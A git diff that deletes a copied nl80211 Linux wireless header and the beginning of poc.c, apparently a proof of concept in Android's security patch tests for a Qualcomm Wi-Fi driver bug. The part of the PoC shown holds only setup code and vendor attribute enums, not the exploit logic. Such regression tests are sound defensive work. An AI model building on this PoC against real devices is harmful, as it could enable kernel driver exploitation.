-  NL80211_FEATURE_HT_IBSS = 1 << 1,
-  NL80211_FEATURE_INACTIVITY_TIMER = 1 << 2,
-  NL80211_FEATURE_CELL_BASE_REG_HINTS = 1 << 3,
-  NL80211_FEATURE_P2P_DEVICE_NEEDS_CHANNEL = 1 << 4,
-  NL80211_FEATURE_SAE = 1 << 5,
-  NL80211_FEATURE_LOW_PRIORITY_SCAN = 1 << 6,
-  NL80211_FEATURE_SCAN_FLUSH = 1 << 7,
-  NL80211_FEATURE_AP_SCAN = 1 << 8,
-  NL80211_FEATURE_VIF_TXPOWER = 1 << 9,
-  NL80211_FEATURE_NEED_OBSS_SCAN = 1 << 10,
-  NL80211_FEATURE_P2P_GO_CTWIN = 1 << 11,
-  NL80211_FEATURE_P2P_GO_OPPPS = 1 << 12,
-  /* bit 13 is reserved */
-  NL80211_FEATURE_ADVERTISE_CHAN_LIMITS = 1 << 14,
-  NL80211_FEATURE_FULL_AP_CLIENT_STATE = 1 << 15,
-  NL80211_FEATURE_USERSPACE_MPM = 1 << 16,
-  NL80211_FEATURE_ACTIVE_MONITOR = 1 << 17,
-  NL80211_FEATURE_AP_MODE_CHAN_WIDTH_CHANGE = 1 << 18,
-  NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES = 1 << 19,
-  NL80211_FEATURE_WFA_TPC_IE_IN_PROBES = 1 << 20,
-  NL80211_FEATURE_QUIET = 1 << 21,
-  NL80211_FEATURE_TX_POWER_INSERTION = 1 << 22,
-  NL80211_FEATURE_ACKTO_ESTIMATION = 1 << 23,
-  NL80211_FEATURE_STATIC_SMPS = 1 << 24,
-  NL80211_FEATURE_DYNAMIC_SMPS = 1 << 25,
-};
-
-/**
- * enum nl80211_probe_resp_offload_support_attr - optional supported
- *	protocols for probe-response offloading by the driver/FW.
- *	To be used with the %NL80211_ATTR_PROBE_RESP_OFFLOAD attribute.
- *	Each enum value represents a bit in the bitmap of supported
- *	protocols. Typically a subset of probe-requests belonging to a
- *	supported protocol will be excluded from offload and uploaded
- *	to the host.
- *
- * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS: Support for WPS ver. 1
- * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS2: Support for WPS ver. 2
- * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_P2P: Support for P2P
- * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_80211U: Support for 802.11u
- */
-enum nl80211_probe_resp_offload_support_attr {
-  NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS = 1 << 0,
-  NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS2 = 1 << 1,
-  NL80211_PROBE_RESP_OFFLOAD_SUPPORT_P2P = 1 << 2,
-  NL80211_PROBE_RESP_OFFLOAD_SUPPORT_80211U = 1 << 3,
-};
-
-/**
- * enum nl80211_connect_failed_reason - connection request failed reasons
- * @NL80211_CONN_FAIL_MAX_CLIENTS: Maximum number of clients that can be
- *	handled by the AP is reached.
- * @NL80211_CONN_FAIL_BLOCKED_CLIENT: Connection request is rejected due to ACL.
- */
-enum nl80211_connect_failed_reason {
-  NL80211_CONN_FAIL_MAX_CLIENTS,
-  NL80211_CONN_FAIL_BLOCKED_CLIENT,
-};
-
-/**
- * enum nl80211_scan_flags -  scan request control flags
- *
- * Scan request control flags are used to control the handling
- * of NL80211_CMD_TRIGGER_SCAN and NL80211_CMD_START_SCHED_SCAN
- * requests.
- *
- * @NL80211_SCAN_FLAG_LOW_PRIORITY: scan request has low priority
- * @NL80211_SCAN_FLAG_FLUSH: flush cache before scanning
- * @NL80211_SCAN_FLAG_AP: force a scan even if the interface is configured
- *	as AP and the beaconing has already been configured. This attribute is
- *	dangerous because will destroy stations performance as a lot of frames
- *	will be lost while scanning off-channel, therefore it must be used only
- *	when really needed
- */
-enum nl80211_scan_flags {
-  NL80211_SCAN_FLAG_LOW_PRIORITY = 1 << 0,
-  NL80211_SCAN_FLAG_FLUSH = 1 << 1,
-  NL80211_SCAN_FLAG_AP = 1 << 2,
-};
-
-/**
- * enum nl80211_acl_policy - access control policy
- *
- * Access control policy is applied on a MAC list set by
- * %NL80211_CMD_START_AP and %NL80211_CMD_SET_MAC_ACL, to
- * be used with %NL80211_ATTR_ACL_POLICY.
- *
- * @NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED: Deny stations which are
- *	listed in ACL, i.e. allow all the stations which are not listed
- *	in ACL to authenticate.
- * @NL80211_ACL_POLICY_DENY_UNLESS_LISTED: Allow the stations which are listed
- *	in ACL, i.e. deny all the stations which are not listed in ACL.
- */
-enum nl80211_acl_policy {
-  NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED,
-  NL80211_ACL_POLICY_DENY_UNLESS_LISTED,
-};
-
-/**
- * enum nl80211_smps_mode - SMPS mode
- *
- * Requested SMPS mode (for AP mode)
- *
- * @NL80211_SMPS_OFF: SMPS off (use all antennas).
- * @NL80211_SMPS_STATIC: static SMPS (use a single antenna)
- * @NL80211_SMPS_DYNAMIC: dynamic smps (start with a single antenna and
- *	turn on other antennas after CTS/RTS).
- */
-enum nl80211_smps_mode {
-  NL80211_SMPS_OFF,
-  NL80211_SMPS_STATIC,
-  NL80211_SMPS_DYNAMIC,
-
-  __NL80211_SMPS_AFTER_LAST,
-  NL80211_SMPS_MAX = __NL80211_SMPS_AFTER_LAST - 1
-};
-
-/**
- * enum nl80211_radar_event - type of radar event for DFS operation
- *
- * Type of event to be used with NL80211_ATTR_RADAR_EVENT to inform userspace
- * about detected radars or success of the channel available check (CAC)
- *
- * @NL80211_RADAR_DETECTED: A radar pattern has been detected. The channel is
- *	now unusable.
- * @NL80211_RADAR_CAC_FINISHED: Channel Availability Check has been finished,
- *	the channel is now available.
- * @NL80211_RADAR_CAC_ABORTED: Channel Availability Check has been aborted, no
- *	change to the channel status.
- * @NL80211_RADAR_NOP_FINISHED: The Non-Occupancy Period for this channel is
- *	over, channel becomes usable.
- */
-enum nl80211_radar_event {
-  NL80211_RADAR_DETECTED,
-  NL80211_RADAR_CAC_FINISHED,
-  NL80211_RADAR_CAC_ABORTED,
-  NL80211_RADAR_NOP_FINISHED,
-};
-
-/**
- * enum nl80211_dfs_state - DFS states for channels
- *
- * Channel states used by the DFS code.
- *
- * @NL80211_DFS_USABLE: The channel can be used, but channel availability
- *	check (CAC) must be performed before using it for AP or IBSS.
- * @NL80211_DFS_UNAVAILABLE: A radar has been detected on this channel, it
- *	is therefore marked as not available.
- * @NL80211_DFS_AVAILABLE: The channel has been CAC checked and is available.
- */
-enum nl80211_dfs_state {
-  NL80211_DFS_USABLE,
-  NL80211_DFS_UNAVAILABLE,
-  NL80211_DFS_AVAILABLE,
-};
-
-/**
- * enum enum nl80211_protocol_features - nl80211 protocol features
- * @NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP: nl80211 supports splitting
- *	wiphy dumps (if requested by the application with the attribute
- *	%NL80211_ATTR_SPLIT_WIPHY_DUMP. Also supported is filtering the
- *	wiphy dump by %NL80211_ATTR_WIPHY, %NL80211_ATTR_IFINDEX or
- *	%NL80211_ATTR_WDEV.
- */
-enum nl80211_protocol_features {
-  NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP = 1 << 0,
-};
-
-/**
- * enum nl80211_crit_proto_id - nl80211 critical protocol identifiers
- *
- * @NL80211_CRIT_PROTO_UNSPEC: protocol unspecified.
- * @NL80211_CRIT_PROTO_DHCP: BOOTP or DHCPv6 protocol.
- * @NL80211_CRIT_PROTO_EAPOL: EAPOL protocol.
- * @NL80211_CRIT_PROTO_APIPA: APIPA protocol.
- * @NUM_NL80211_CRIT_PROTO: must be kept last.
- */
-enum nl80211_crit_proto_id {
-  NL80211_CRIT_PROTO_UNSPEC,
-  NL80211_CRIT_PROTO_DHCP,
-  NL80211_CRIT_PROTO_EAPOL,
-  NL80211_CRIT_PROTO_APIPA,
-  /* add other protocols before this one */
-  NUM_NL80211_CRIT_PROTO
-};
-
-/* maximum duration for critical protocol measures */
-#define NL80211_CRIT_PROTO_MAX_DURATION 5000 /* msec */
-
-/**
- * enum nl80211_rxmgmt_flags - flags for received management frame.
- *
- * Used by cfg80211_rx_mgmt()
- *
- * @NL80211_RXMGMT_FLAG_ANSWERED: frame was answered by device/driver.
- */
-enum nl80211_rxmgmt_flags {
-  NL80211_RXMGMT_FLAG_ANSWERED = 1 << 0,
-};
-
-/*
- * If this flag is unset, the lower 24 bits are an OUI, if set
- * a Linux nl80211 vendor ID is used (no such IDs are allocated
- * yet, so that's not valid so far)
- */
-#define NL80211_VENDOR_ID_IS_LINUX 0x80000000
-
-/**
- * struct nl80211_vendor_cmd_info - vendor command data
- * @vendor_id: If the %NL80211_VENDOR_ID_IS_LINUX flag is clear, then the
- *	value is a 24-bit OUI; if it is set then a separately allocated ID
- *	may be used, but no such IDs are allocated yet. New IDs should be
- *	added to this file when needed.
- * @subcmd: sub-command ID for the command
- */
-struct nl80211_vendor_cmd_info {
-  __u32 vendor_id;
-  __u32 subcmd;
-};
-
-/**
- * enum nl80211_tdls_peer_capability - TDLS peer flags.
- *
- * Used by tdls_mgmt() to determine which conditional elements need
- * to be added to TDLS Setup frames.
- *
- * @NL80211_TDLS_PEER_HT: TDLS peer is HT capable.
- * @NL80211_TDLS_PEER_VHT: TDLS peer is VHT capable.
- * @NL80211_TDLS_PEER_WMM: TDLS peer is WMM capable.
- */
-enum nl80211_tdls_peer_capability {
-  NL80211_TDLS_PEER_HT = 1 << 0,
-  NL80211_TDLS_PEER_VHT = 1 << 1,
-  NL80211_TDLS_PEER_WMM = 1 << 2,
-};
-
-static inline struct nlattr *nla_next(const struct nlattr *nla,
-                                      int *remaining) {
-  int totlen = NLA_ALIGN(nla->nla_len);
-
-  *remaining -= totlen;
-  return (struct nlattr *)((char *)nla + totlen);
-}
-
-static inline int nla_ok(const struct nlattr *nla, int remaining) {
-  return remaining >= (int)sizeof(*nla) && nla->nla_len >= sizeof(*nla) &&
-         nla->nla_len <= remaining;
-}
-
-#define nla_for_each_attr(pos, head, len, rem) \
-  for (pos = head, rem = len; nla_ok(pos, rem); pos = nla_next(pos, &(rem)))
-
-#endif /* __LINUX_NL80211_H */
diff --git a/hostsidetests/security/securityPatch/Bug-36818198/poc.c b/hostsidetests/security/securityPatch/Bug-36818198/poc.c
deleted file mode 100644
index 82838d8..0000000
--- a/hostsidetests/security/securityPatch/Bug-36818198/poc.c
+++ /dev/null
@@ -1,1120 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <sys/wait.h>
-#include <unistd.h>
-#include <time.h>
-#include <stdlib.h>
-#include <netinet/in.h>
-
-#include <errno.h>
-#include <linux/genetlink.h>
-#include <linux/netlink.h>
-#include <linux/wireless.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/socket.h>
-#include <sys/types.h>
-#include "local_poc.h"
-
-typedef signed char s8;
-typedef unsigned char u8;
-
-typedef signed short s16;
-typedef unsigned short u16;
-
-typedef signed int s32;
-typedef unsigned int u32;
-
-typedef signed long long s64;
-typedef unsigned long long u64;
-
-typedef s8 __s8;
-typedef u8 __u8;
-typedef s16 __s16;
-typedef u16 __u16;
-typedef s32 __s32;
-typedef u32 __u32;
-typedef s64 __s64;
-typedef u64 __u64;
-
-#define PARAM_MAX QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX
-#define PARAM_REQUEST_ID \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID
-#define PARAMS_LOST_SSID_SAMPLE_SIZE \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE
-#define PARAMS_NUM_SSID \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID
-#define THRESHOLD_PARAM QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM
-#define PARAM_SSID QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID
-#define PARAM_BAND QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND
-#define PARAM_RSSI_LOW \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW
-#define PARAM_RSSI_HIGH \
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH
-
-enum qca_wlan_vendor_attr_extscan_results {
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_INVALID = 0,
-
-  /* Unsigned 32-bit value; must match the request Id supplied by Wi-Fi HAL
-   * in the corresponding subcmd NL msg
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID,
-
-  /* Unsigned 32-bit value; used to indicate the status response from
-   * firmware/driver for the vendor sub-command.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_STATUS,
-
-  /* EXTSCAN Valid Channels attributes */
-  /* Unsigned 32bit value; followed by a nested array of CHANNELS.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_CHANNELS,
-  /* An array of NUM_CHANNELS x Unsigned 32bit value integers representing
-   * channel numbers
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CHANNELS,
-
-  /* EXTSCAN Capabilities attributes */
-  /* Unsigned 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_CACHE_SIZE,
-  /* Unsigned 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_BUCKETS,
-  /* Unsigned 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_AP_CACHE_PER_SCAN,
-  /* Unsigned 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_RSSI_SAMPLE_SIZE,
-  /* Signed 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_REPORTING_THRESHOLD,
-  /* Unsigned 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_HOTLIST_BSSIDS,
-  /* Unsigned 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SIGNIFICANT_WIFI_CHANGE_APS,
-  /* Unsigned 32bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_BSSID_HISTORY_ENTRIES,
-
-  /* EXTSCAN Attributes used with
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_RESULTS_AVAILABLE sub-command.
-   */
-
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE,
-
-  /* EXTSCAN attributes used with
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_FULL_SCAN_RESULT sub-command.
-   */
-
-  /* An array of NUM_RESULTS_AVAILABLE x
-   * QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_*
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST,
-
-  /* Unsigned 64-bit value; age of sample at the time of retrieval */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_TIME_STAMP,
-  /* 33 x unsigned 8-bit value; NULL terminated SSID */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_SSID,
-  /* An array of 6 x Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_BSSID,
-  /* Unsigned 32-bit value; channel frequency in MHz */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_CHANNEL,
-  /* Signed 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RSSI,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT_SD,
-  /* Unsigned 16-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_BEACON_PERIOD,
-  /* Unsigned 16-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_CAPABILITY,
-  /* Unsigned 32-bit value; size of the IE DATA blob */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_IE_LENGTH,
-  /* An array of IE_LENGTH x Unsigned 8-bit value; blob of all the
-   * information elements found in the beacon; this data should be a
-   * packed list of wifi_information_element objects, one after the other.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_IE_DATA,
-  /* Unsigned 8-bit value; set by driver to indicate more scan results are
-   * available.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_MORE_DATA,
-
-  /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE
-   * to indicate number of wifi scan results/bssids retrieved by the scan.
-   * Also, use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the list
-   * of wifi scan results returned for each cached result block.
-   */
-
-  /* EXTSCAN attributes for
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_EVENT sub-command.
-   */
-  /* Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_EVENT_TYPE,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_EVENT_STATUS,
-
-  /* EXTSCAN attributes for
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_FOUND sub-command.
-   */
-  /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE
-   * to indicate number of results.
-   */
-
-  /* EXTSCAN attributes for
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SIGNIFICANT_CHANGE sub-command.
-   */
-  /* An array of 6 x Unsigned 8-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_BSSID,
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_CHANNEL,
-  /* Unsigned 32-bit value.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_NUM_RSSI,
-  /* A nested array of signed 32-bit RSSI values. Size of the array is
-   * determined by (NUM_RSSI of SIGNIFICANT_CHANGE_RESULT_NUM_RSSI.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_RSSI_LIST,
-
-  /* EXTSCAN attributes used with
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CACHED_RESULTS sub-command.
-   */
-  /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE
-   * to indicate number of gscan cached results returned.
-   * Also, use QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_LIST to indicate
-   *  the list of gscan cached results.
-   */
-
-  /* An array of NUM_RESULTS_AVAILABLE x
-   * QCA_NL80211_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_*
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_LIST,
-  /* Unsigned 32-bit value; a unique identifier for the scan unit. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_SCAN_ID,
-  /* Unsigned 32-bit value; a bitmask w/additional information about scan. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_FLAGS,
-  /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE
-   * to indicate number of wifi scan results/bssids retrieved by the scan.
-   * Also, use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the list
-   * of wifi scan results returned for each cached result block.
-   */
-
-  /* EXTSCAN attributes for
-   * QCA_NL80211_VENDOR_SUBCMD_PNO_NETWORK_FOUND sub-command.
-   */
-  /* Use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE for number
-   * of results.
-   * Use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the nested
-   * list of wifi scan results returned for each wifi_passpoint_match_result
-   * block. Array size:
-   * QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE.
-   */
-
-  /* EXTSCAN attributes for
-   * QCA_NL80211_VENDOR_SUBCMD_PNO_PASSPOINT_NETWORK_FOUND sub-command.
-   */
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_NETWORK_FOUND_NUM_MATCHES,
-  /* A nested array of
-   * QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_*
-   * attributes. Array size =
-   * *_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_NETWORK_FOUND_NUM_MATCHES.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_RESULT_LIST,
-
-  /* Unsigned 32-bit value; network block id for the matched network */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_ID,
-  /* Use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the nested
-   * list of wifi scan results returned for each wifi_passpoint_match_result
-   * block.
-   */
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_ANQP_LEN,
-  /* An array size of PASSPOINT_MATCH_ANQP_LEN of unsigned 8-bit values;
-   * ANQP data in the information_element format.
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_ANQP,
-
-  /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_HOTLIST_SSIDS,
-  /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_NUM_EPNO_NETS,
-  /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_NUM_EPNO_NETS_BY_SSID,
-  /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_NUM_WHITELISTED_SSID,
-
-  /* EXTSCAN attributes for
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_FOUND sub-command &
-   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_LOST sub-command
-   */
-  /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE
-   * to indicate number of results.
-   */
-  /* Unsigned 32bit value, Bit mask of all buckets scanned in the
-   * current EXTSCAN CYCLE. For e.g. If fw scan is going to scan
-   * following buckets 0, 1, 2 in current cycle then it will be
-   * (0x111).
-   */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_BUCKETS_SCANNED,
-
-  /* keep last */
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_AFTER_LAST,
-  QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_MAX =
-      QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_AFTER_LAST - 1,
-};
-
-enum qca_wlan_vendor_attr_pno_config_params {
-  QCA_WLAN_VENDOR_ATTR_PNO_INVALID = 0,
-  /* NL attributes for data used by
-   * QCA_NL80211_VENDOR_SUBCMD_PNO_SET_PASSPOINT_LIST sub command.
-   */
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM = 1,
-  /* Array of nested QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_*
-   * attributes. Array size =
-   * QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY = 2,
-
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ID = 3,
-  /* An array of 256 x Unsigned 8-bit value; NULL terminated UTF8 encoded
-   * realm, 0 if unspecified.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_REALM = 4,
-  /* An array of 16 x Unsigned 32-bit value; roaming consortium ids
-   * to match, 0 if unspecified.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_CNSRTM_ID = 5,
-  /* An array of 6 x Unsigned 8-bit value; mcc/mnc combination, 0s if
-   *  unspecified.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_PLMN = 6,
-
-  /* NL attributes for data used by
-   * QCA_NL80211_VENDOR_SUBCMD_PNO_SET_LIST sub command.
-   */
-  /* Unsigned 32-bit value */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS = 7,
-  /* Array of nested
-   * QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_*
-   * attributes. Array size =
-   *		QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORKS_LIST = 8,
-  /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_SSID = 9,
-  /* Signed 8-bit value; threshold for considering this SSID as found,
-   * required granularity for this threshold is 4dBm to 8dBm
-   * This attribute is obsolete.
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_RSSI_THRESHOLD = 10,
-  /* Unsigned 8-bit value; WIFI_PNO_FLAG_XXX */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_FLAGS = 11,
-  /* Unsigned 8-bit value; auth bit field for matching WPA IE */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_AUTH_BIT = 12,
-
-  /* Unsigned 8-bit to indicate ePNO type;
-   * It takes values from qca_wlan_epno_type
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_TYPE = 13,
-
-  /* Nested attribute to send the channel list */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_CHANNEL_LIST = 14,
-
-  /* Unsigned 32-bit value; indicates the Interval between PNO scan
-   * cycles in msec
-   */
-  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_SCAN_INTERVAL = 15,
-  /* Signed 32-bit value; minimum 5GHz RSSI for a BSSID to be
-   * considered
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_MIN5GHZ_RSSI = 16,
-  /* Signed 32-bit value; minimum 2.4GHz RSSI for a BSSID to
-   * be considered
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_MIN24GHZ_RSSI = 17,
-  /* Signed 32-bit value; the maximum score that a network
-   * can have before bonuses
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_INITIAL_SCORE_MAX = 18,
-  /* Signed 32-bit value; only report when there is a network's
-   * score this much higher han the current connection
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_CURRENT_CONNECTION_BONUS = 19,
-  /* Signed 32-bit value; score bonus for all networks with
-   * the same network flag
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_SAME_NETWORK_BONUS = 20,
-  /* Signed 32-bit value; score bonus for networks that are
-   * not open
-   */
-  QCA_WLAN_VENDOR_ATTR_EPNO_SECURE_BONUS = 21,
